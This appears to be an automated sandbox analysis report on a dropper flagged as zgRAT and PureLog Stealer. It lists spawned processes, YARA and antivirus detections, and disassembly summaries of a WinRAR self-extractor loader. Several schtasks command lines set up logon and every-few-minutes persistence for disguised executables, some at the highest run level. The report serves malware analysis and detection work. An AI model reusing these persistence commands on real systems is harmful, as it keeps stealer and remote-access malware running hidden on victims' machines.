Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "mQBLhXIPAJ" /sc ONLOGON /tr "'C:\Users\Default\Templates\mQBLhXIPAJ.exe'" /rl HIGHEST /f
Imagebase:	0x7ff7f36d0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	06:48:17
Start date:	13/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "mQBLhXIPAJm" /sc MINUTE /mo 6 /tr "'C:\Users\Default\Templates\mQBLhXIPAJ.exe'" /rl HIGHEST /f
Imagebase:	0x7ff7f36d0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	06:48:17
Start date:	13/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "mQBLhXIPAJm" /sc MINUTE /mo 14 /tr "'C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe'" /f
Imagebase:	0x7ff7f36d0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	06:48:17
Start date:	13/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "mQBLhXIPAJ" /sc ONLOGON /tr "'C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe'" /rl HIGHEST /f
Imagebase:	0x7ff7f36d0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	06:48:17
Start date:	13/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "mQBLhXIPAJm" /sc MINUTE /mo 7 /tr "'C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe'" /rl HIGHEST /f
Imagebase:	0x7ff7f36d0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	06:48:17
Start date:	13/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "containerReviewc" /sc MINUTE /mo 10 /tr "'C:\blockcomSession\containerReview.exe'" /f
Imagebase:	0x7ff7f36d0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	06:48:17
Start date:	13/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "containerReview" /sc ONLOGON /tr "'C:\blockcomSession\containerReview.exe'" /rl HIGHEST /f
Imagebase:	0x7ff7f36d0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	06:48:17
Start date:	13/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "containerReviewc" /sc MINUTE /mo 10 /tr "'C:\blockcomSession\containerReview.exe'" /rl HIGHEST /f
Imagebase:	0x7ff7f36d0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	06:48:17
Start date:	13/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\aQ1wx53V7n.bat"
Imagebase:	0x7ff768690000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	06:48:17
Start date:	13/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	06:48:17
Start date:	13/01/2025
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0x7ff75da30000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	06:48:18
Start date:	13/01/2025
Path:	C:\Windows\System32\w32tm.exe
Wow64 process (32bit):	false
Commandline:	w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Imagebase:	0x7ff73b7a0000
File size:	108'032 bytes
MD5 hash:	81A82132737224D324A3E8DA993E2FB5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	06:48:19
Start date:	13/01/2025
Path:	C:\blockcomSession\containerReview.exe
Wow64 process (32bit):	false
Commandline:	C:\blockcomSession\containerReview.exe
Imagebase:	0xba0000
File size:	2'006'016 bytes
MD5 hash:	F568E43BC473CD8CEB2553C58194DF61
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	06:48:19
Start date:	13/01/2025
Path:	C:\blockcomSession\containerReview.exe
Wow64 process (32bit):	false
Commandline:	C:\blockcomSession\containerReview.exe
Imagebase:	0xa30000
File size:	2'006'016 bytes
MD5 hash:	F568E43BC473CD8CEB2553C58194DF61
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	06:48:23
Start date:	13/01/2025
Path:	C:\ProgramData\dbg\containerReview.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\All Users\dbg\containerReview.exe"
Imagebase:	0x770000
File size:	2'006'016 bytes
MD5 hash:	F568E43BC473CD8CEB2553C58194DF61
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\ProgramData\dbg\containerReview.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\ProgramData\dbg\containerReview.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 83%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	06:48:24
Start date:	13/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\2BGdjLelXV.bat"
Imagebase:	0x7ff768690000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	06:48:24
Start date:	13/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	06:48:24
Start date:	13/01/2025
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0x7ff75da30000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	06:48:24
Start date:	13/01/2025
Path:	C:\Windows\System32\w32tm.exe
Wow64 process (32bit):	false
Commandline:	w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Imagebase:	0x7ff73b7a0000
File size:	108'032 bytes
MD5 hash:	81A82132737224D324A3E8DA993E2FB5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	06:48:27
Start date:	13/01/2025
Path:	C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe"
Imagebase:	0xe30000
File size:	2'006'016 bytes
MD5 hash:	F568E43BC473CD8CEB2553C58194DF61
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 83%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	06:48:30
Start date:	13/01/2025
Path:	C:\blockcomSession\mQBLhXIPAJ.exe
Wow64 process (32bit):	false
Commandline:	"C:\blockcomSession\mQBLhXIPAJ.exe"
Imagebase:	0xcb0000
File size:	2'006'016 bytes
MD5 hash:	F568E43BC473CD8CEB2553C58194DF61
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	06:48:35
Start date:	13/01/2025
Path:	C:\blockcomSession\containerReview.exe
Wow64 process (32bit):	false
Commandline:	"C:\blockcomSession\containerReview.exe"
Imagebase:	0xf00000
File size:	2'006'016 bytes
MD5 hash:	F568E43BC473CD8CEB2553C58194DF61
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	6.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	23.1%
Total number of Nodes:	769
Total number of Limit Nodes:	42

Executed Functions

Function 00DFB7E0 Relevance: 84.7, APIs: 37, Strings: 11, Instructions: 731windowCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00DFB7E5

Part of subcall function 00DE1316: GetDlgItem.USER32(00000000,00003021), ref: 00DE135A
Part of subcall function 00DE1316: SetWindowTextW.USER32(00000000,00E135F4), ref: 00DE1370

SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00DFB8D1
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00DFB8EF
IsDialogMessageW.USER32(?,?), ref: 00DFB902
TranslateMessage.USER32(?), ref: 00DFB910
DispatchMessageW.USER32(?), ref: 00DFB91A
GetDlgItemTextW.USER32(?,00000066,?,00000800), ref: 00DFB93D
EndDialog.USER32(?,00000001), ref: 00DFB960
GetDlgItem.USER32(?,00000068), ref: 00DFB983
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 00DFB99E
SendMessageW.USER32(00000000,000000C2,00000000,00E135F4), ref: 00DFB9B1

Part of subcall function 00DFD453: _wcschr.LIBVCRUNTIME ref: 00DFD45C
Part of subcall function 00DFD453: _wcslen.LIBCMT ref: 00DFD47D

SetFocus.USER32(00000000), ref: 00DFB9B8
_swprintf.LIBCMT ref: 00DFBA24

Part of subcall function 00DFD4D4: GetDlgItem.USER32(00000068,?), ref: 00DFD4E8
Part of subcall function 00DFD4D4: ShowWindow.USER32(00000000,00000005,?,?), ref: 00DFD510
Part of subcall function 00DFD4D4: SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 00DFD51B
Part of subcall function 00DFD4D4: SendMessageW.USER32(00000000,000000C2,00000000,00E135F4), ref: 00DFD529
Part of subcall function 00DFD4D4: SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00DFD53F
Part of subcall function 00DFD4D4: SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 00DFD559
Part of subcall function 00DFD4D4: SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00DFD59D
Part of subcall function 00DFD4D4: SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 00DFD5AB
Part of subcall function 00DFD4D4: SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00DFD5BA
Part of subcall function 00DFD4D4: SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00DFD5E1
Part of subcall function 00DFD4D4: SendMessageW.USER32(00000000,000000C2,00000000,00E143F4), ref: 00DFD5F0

_swprintf.LIBCMT ref: 00DFBAC2
_swprintf.LIBCMT ref: 00DFBB7C
ShellExecuteExW.SHELL32(0000003C), ref: 00DFBC6F
_swprintf.LIBCMT ref: 00DFBD1E
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00DFBD7D
SetDlgItemTextW.USER32(?,00000065,00E135F4), ref: 00DFBD94
GetDlgItem.USER32(?,00000065), ref: 00DFBD9D
GetWindowLongW.USER32(00000000,000000F0), ref: 00DFBDAC
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 00DFBDBB
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00DFBE68
_wcslen.LIBCMT ref: 00DFBEBE
_swprintf.LIBCMT ref: 00DFBEE8
SendMessageW.USER32(?,00000080,00000001,?), ref: 00DFBF32
SendDlgItemMessageW.USER32(?,0000006C,00000172,00000000,?), ref: 00DFBF4C
GetDlgItem.USER32(?,00000068), ref: 00DFBF55
SendMessageW.USER32(00000000,00000435,00000000,00400000), ref: 00DFBF6B
GetDlgItem.USER32(?,00000066), ref: 00DFBF85
SetWindowTextW.USER32(00000000,00E2A472), ref: 00DFBFA7
SetDlgItemTextW.USER32(?,0000006B,00000000), ref: 00DFC007
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00DFC01A
DialogBoxParamW.USER32(LICENSEDLG,00000000,Function_0001B5C0,00000000,?), ref: 00DFC0BD
EnableWindow.USER32(00000000,00000000), ref: 00DFC197
SendMessageW.USER32(?,00000111,00000001,00000000), ref: 00DFC1D9

Part of subcall function 00DFC73F: __EH_prolog.LIBCMT ref: 00DFC744

SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00DFC1FD

Strings

"%s"%s, xrefs: 00DFBD0D
runas, xrefs: 00DFBBBC
STARTDLG, xrefs: 00DFB801
C:\Users\user\Desktop, xrefs: 00DFBBC9
winrarsfxmappingfile.tmp, xrefs: 00DFBBA6
-el -s2 "-d%s" "-sp%s", xrefs: 00DFBB6B
<, xrefs: 00DFBB84
__tmp_rar_sfx_access_check_%u, xrefs: 00DFBAB5
%s, xrefs: 00DFBED8
@, xrefs: 00DFBB91
LICENSEDLG, xrefs: 00DFC0B2

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: Message$ItemSend$Text$Window$_swprintf$Dialog$H_prologLong_wcslen$DispatchEnableExecuteFocusParamShellShowTranslate_wcschr
String ID: %s$"%s"%s$-el -s2 "-d%s" "-sp%s"$<$@$C:\Users\user\Desktop$LICENSEDLG$STARTDLG$__tmp_rar_sfx_access_check_%u$runas$winrarsfxmappingfile.tmp
API String ID: 4159181167-2266193177
Opcode ID: 75ef223892eab08976b19b6c48bbbdde4c01c87d292f0adb6cb904b0fb9b9ec6
Instruction ID: 7e3b78bb738f0f984e2efdbeadb5648c1b8c05611ff3328d76c0b7daa73be21f
Opcode Fuzzy Hash: 75ef223892eab08976b19b6c48bbbdde4c01c87d292f0adb6cb904b0fb9b9ec6
Instruction Fuzzy Hash: 6B42E47094028CBEEB21AB71DD4AFBE7B6CAB11700F098156F744B61D2CB749A49CB31

Function 00DFDF1E Relevance: 21.2, APIs: 5, Strings: 7, Instructions: 195
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00DFAC16: OleInitialize.OLE32(00000000), ref: 00DFAC2F
Part of subcall function 00DFAC16: SHGetMalloc.SHELL32(00E28438), ref: 00DFAC70

_swprintf.LIBCMT ref: 00DFE048
LoadIconW.USER32(00000000,00000064), ref: 00DFE078
DialogBoxParamW.USER32(00000000,STARTDLG,00000000,Function_0001B7E0,00000000), ref: 00DFE0C9
DeleteObject.GDI32 ref: 00DFE130
DeleteObject.GDI32(?), ref: 00DFE140

Strings

STARTDLG, xrefs: 00DFE0BE
sfxstime, xrefs: 00DFE055
sfxname, xrefs: 00DFDFF9
C:\Users\user\Desktop, xrefs: 00DFDF33
winrarsfxmappingfile.tmp, xrefs: 00DFDF77
%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 00DFE039
xz, xrefs: 00DFE10B

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: DeleteObject$DialogIconInitializeLoadMallocParam_swprintf
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$C:\Users\user\Desktop$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp$xz
API String ID: 203082903-632967962
Opcode ID: 7b7a9238761bd65da18470baff2c0bdb07879446a2685b14db1726b2e7ea57ed
Instruction ID: 87ccb68cb25ff7ae8b5b7c721df1a3ef9cc8825e76d968bc76618ee9f2753ec3
Opcode Fuzzy Hash: 7b7a9238761bd65da18470baff2c0bdb07879446a2685b14db1726b2e7ea57ed
Instruction Fuzzy Hash: 2561C371904388AFD320AF76EC49F7B7BA9EF49700F058429FA45B22A1DA749948C771

Function 00DEA69B Relevance: 3.1, APIs: 2, Instructions: 105
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,?,?,?,00000000,?,00DEA592,000000FF,?,?), ref: 00DEA6C4

Part of subcall function 00DEBB03: _wcslen.LIBCMT ref: 00DEBB27

FindFirstFileW.KERNELBASE(?,?,?,?,00000800,?,00DEA592,000000FF,?,?), ref: 00DEA6F2

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: FileFindFirst$_wcslen
String ID:
API String ID: 1818217402-0
Opcode ID: c6f0e867b7777e239e8e85059b81a45ab47770dfb9a2e796eb138aec33029bf8
Instruction ID: d3a4f651df838d15c258a79cb02229efc3e3e92c5290c387a3c5a99908d4c78a
Opcode Fuzzy Hash: c6f0e867b7777e239e8e85059b81a45ab47770dfb9a2e796eb138aec33029bf8
Instruction Fuzzy Hash: 9441717650055AABCB25EF69CC84AEDB7B8FB48350F144196E569E3200D734AE94CFA0

Function 05256861 Relevance: 3.0, APIs: 2, Instructions: 30nativeCOMMON

Download Yara Rule

APIs

NtQueryInformationProcess.NTDLL(?,00000000,?,00000018,00000000), ref: 05256875
GetSystemInfo.KERNELBASE(?), ref: 05256887

Memory Dump Source

Source File: 00000000.00000002.2056870207.0000000005250000.00000040.00001000.00020000.00000000.sdmp, Offset: 05250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5250000_fatality.jbxd

Similarity

API ID: InfoInformationProcessQuerySystem
String ID:
API String ID: 1993426926-0
Opcode ID: 1fb10b1f584574fc7e7ef76664c1f67970bd54e56cc62cee208ca94fa62fd050
Instruction ID: 44ff9c54197081f63a4720ae10fbd495e39f3372751889b54501d585c55d2a67
Opcode Fuzzy Hash: 1fb10b1f584574fc7e7ef76664c1f67970bd54e56cc62cee208ca94fa62fd050
Instruction Fuzzy Hash: C2F01C7660421DEBCB04DF99DC49EDEBBB8EB09740B008029FD06D7250DB30A910CBE0

Function 00DE848E Relevance: 2.5, APIs: 1, Instructions: 960COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00DE8493

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 923799d6d75aba5546986b8fa1695d81022df9af3034dea9e5edbd439fcb9f90
Instruction ID: 31ab248d924ffa957755134ef82008273abdf85df2200d34dd2e643c19524aa9
Opcode Fuzzy Hash: 923799d6d75aba5546986b8fa1695d81022df9af3034dea9e5edbd439fcb9f90
Instruction Fuzzy Hash: A382F9709042C5AEDF15EF65C891BFABBB9AF15300F0C41B9E84D9B182DB315A88DB70

Function 00E07DEE Relevance: .0, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: feb405079cc966e0d4953044817479f597fe7b0244b6a474c17a8f47bc8e2012
Instruction ID: 6db7026b303a479e86bb1d265cf870bcf0a316a04c52e27191b5947bf9181a16
Opcode Fuzzy Hash: feb405079cc966e0d4953044817479f597fe7b0244b6a474c17a8f47bc8e2012
Instruction Fuzzy Hash: 5FE04F31441148EFCF01AF21DD099893FAAEB04341F008458F849AA172CB36EE96CB90

Function 00DF0888 Relevance: 122.8, APIs: 2, Strings: 68, Instructions: 267
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNELBASE(?,?,|<,00000800,?,00000000,?,00000800), ref: 00DF0C9C
_swprintf.LIBCMT ref: 00DF0D4A

Strings

ieframe.dll, xrefs: 00DF096F
linkinfo.dll, xrefs: 00DF0B06
ntmarta.dll, xrefs: 00DF09FE
slc.dll, xrefs: 00DF0A35
cscapi.dll, xrefs: 00DF0A2A
version.dll, xrefs: 00DF08EF
dwmapi.dll, xrefs: 00DF0927, 00DF0D0D
peerdist.dll, xrefs: 00DF0B3D
dnsapi.DLL, xrefs: 00DF0A4B
aclui.dll, xrefs: 00DF0B27
iphlpapi.DLL, xrefs: 00DF0A56
XmlLite.dll, xrefs: 00DF0AFB
shell32.dll, xrefs: 00DF09D2
cabinet.dll, xrefs: 00DF09E8
devrtl.dll, xrefs: 00DF0A82
DXGIDebug.dll, xrefs: 00DF08FC, 00DF0C5E
msasn1.dll, xrefs: 00DF09B7
propsys.dll, xrefs: 00DF0A8D
mpr.dll, xrefs: 00DF0A77
profapi.dll, xrefs: 00DF0A09
dfscli.dll, xrefs: 00DF0AC4
apphelp.dll, xrefs: 00DF098F
dhcpcsvc.dll, xrefs: 00DF0AF0
uxtheme.dll, xrefs: 00DF0D17
rsaenh.dll, xrefs: 00DF0917
lpk.dll, xrefs: 00DF0937
cryptbase.dll, xrefs: 00DF092F
browcli.dll, xrefs: 00DF0ACF
ws2_32.dll, xrefs: 00DF0957
RpcRtRemote.dll, xrefs: 00DF0B1C
UXTheme.dll, xrefs: 00DF091F
